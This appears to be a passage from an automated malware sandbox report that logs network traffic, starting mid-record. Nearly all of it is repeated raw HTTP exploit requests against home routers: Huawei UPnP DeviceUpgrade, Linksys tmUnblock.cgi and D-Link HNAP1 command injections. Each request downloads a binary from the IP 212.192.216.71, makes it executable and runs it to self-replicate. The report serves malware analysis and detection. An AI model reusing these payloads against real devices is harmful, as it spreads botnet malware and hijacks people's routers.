2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
